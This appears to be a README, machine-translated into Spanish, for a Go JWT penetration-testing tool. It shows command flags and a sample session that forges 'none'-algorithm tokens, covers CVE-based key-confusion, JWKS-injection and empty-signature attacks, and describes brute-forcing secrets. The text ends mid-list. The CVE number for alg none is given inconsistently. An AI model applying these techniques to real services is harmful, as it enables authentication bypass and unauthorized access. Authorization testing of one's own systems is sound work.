
Herramienta de verificación de vulnerabilidades/fuerza bruta de claves desarrollada para la penetración en JWT, que genera resultados para FUZZ contra CVE-2015-9235/ataque de clave en blanco/ataque de firma no verificada/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, y también puede realizar fuerza bruta mediante diccionario/enumeración de caracteres (incluyendo JJWT) (JWT Crack)
Declaración seria: Las técnicas, ideas y herramientas mencionadas en este documento son solo para fines de aprendizaje e intercambio con fines de seguridad, nadie puede usarlas para fines ilegales o lucrativos, de lo contrario asumirá las consecuencias.
Herramienta de validación de vulnerabilidades/fuerza bruta de claves desarrollada para la penetración de JWT, que genera resultados para FUZZ contra CVE-2015-9235/ataque de firma no verificada/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, también se puede usar diccionario o enumeración de caracteres para fuerza bruta.Introducción a la herramienta · Instrucciones de uso · Notas · Comunicación técnica
Durante las pruebas de penetración en proyectos de la empresa, a menudo al trabajar con proyectos de front-end y back-end separados, se encuentra JWT como Token para la verificación de permisos. Normalmente se pueden usar herramientas como jwt-tool, pero aún no es posible completar todo en un solo paso. Por eso, aquí desarrollo una herramienta auxiliar de penetración JWT todo en uno usando go, para ayudar a todos a realizar pruebas de autorización.
¿Cuál es el escenario de aplicación de esta herramienta?
¿Cuáles son las ventajas de esta herramienta?
# Empaquetar
go mod tidy
cd cmd
go build.
# Ejecutar en línea de comandos
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
Si se utiliza un archivo de payloads, por defecto vacío usa el diccionario incorporado de roles (modo 2 enlazado), modo 3 no vacío (modo 3 enlazado)
-em int
Modo de encriptación del secret NONE/MD5/MD5 de 16 bits/BASE64 (por defecto ALL=>0, NONE=>1, MD5=>2, MD5 16 bits=>3, BASE64)
-fs string
Diccionario por defecto para fuerza bruta, se puede modificar según reglas de suposición (usar con -fz para número de caracteres) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
Número máximo de caracteres para fuerza bruta (si se quiere especificar la longitud con -fz)
-jbc string
JWT body a modificar
-jm int
Modo 1: (Secret desconocido) Prueba de autorización modificando Payload Modo 2: (probar primero modo 1) Prueba de autorización con PayloadFuzz Modo 3: fuerza bruta de secret con diccionario Modo 4: fuerza bruta de secret con caracteres (si se quiere especificar longitud -fz) Modo 5: verificar el Secret de JWT (default 1)
-jwt.txt string
Cadena JWT
-mz int
Número mínimo de caracteres para fuerza bruta (si se quiere especificar longitud -mz), por defecto 1 (default 1)
-pem string
Ruta del archivo pem de la clave pública (mejor ruta absoluta)
-pt int
Modo de selección: 0 para ejecutar todo por defecto, 1 para modificar alg a none (CVE-2015-2951), 2 para autorización por firma no verificada, 3 para modificar algoritmo asimétrico a simétrico (CVE-2016-10555) 4 para inyección de clave pública JWKS - falsificación de clave (CVE-2018-0114) 5 para firma vacía (CVE-2020-28042)
-s string
Secret conocido, por defecto vacío
# Ejecución interactiva
.\cmd.exe
? 【Selección previa】En caso de secret desconocido, modificar JWT para probar autorización, elija un modo:
[·] [Use arrows to move, type to filter]
> Modo 1: (Secret desconocido) Prueba de autorización modificando Payload
Modo 2: (probar primero modo 1) Prueba de autorización con PayloadFuzz
Modo 3: fuerza bruta de secret con diccionario
Modo 4: fuerza bruta de secret con caracteres
Modo 5: verificar el Secret de JWT
? Ingrese su cadena JWT:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【Modo 1】【Modo 2】En caso de secret desconocido, modificar JWT para probar autorización, elija un modo de prueba específico:
[·] [Use arrows to move, type to filter]
> Modo 0: Ejecutar todo por defecto
Modo 1: Modificar alg a none (CVE-2015-2951)
Modo 2: Autorización por firma no verificada
Modo 3: Modificar algoritmo asimétrico a simétrico (CVE-2016-10555)
Modo 4: Inyección de clave pública JWKS - falsificación de clave (CVE-2018-0114)
Modo 5: Firma vacía (CVE-2020-28042)
? En los 【Modo 1】【Modo 2】【Modo 5】, necesita modificar la cadena JSON de la segunda parte (Payload) de JWT para probar autorización. Copie la parte Payload del paso anterior, modifique y pegue aquí:
【Modo 1】【Modo 5】Ejemplo: {"username":"admin","role":"admin"}
【Modo 2】Ejemplo: {"usernmae":"admin","role":"FUZZ"}
Nota: En 【Modo 2】, FUZZ es la posición de reemplazo del diccionario. Si no se modifica, presione Enter para usar el Payload original por defecto.
? Ingrese la ruta del archivo pem de clave pública que ha recopilado (mejor ruta absoluta)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============Prueba de autorización modificando Payload sin secret===========
① En la mayoría de los casos, cuando alg es HS256, se puede cambiar JWT a none (CVE-2015-9235)
[+]【alg a none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg a None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg a NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg a NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Ataque de firma no verificada: modificar Payload sin verificar
[+]【Ataque de firma inválida】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ Ataque de modificación de algoritmo asimétrico a simétrico (CVE-2016-10555)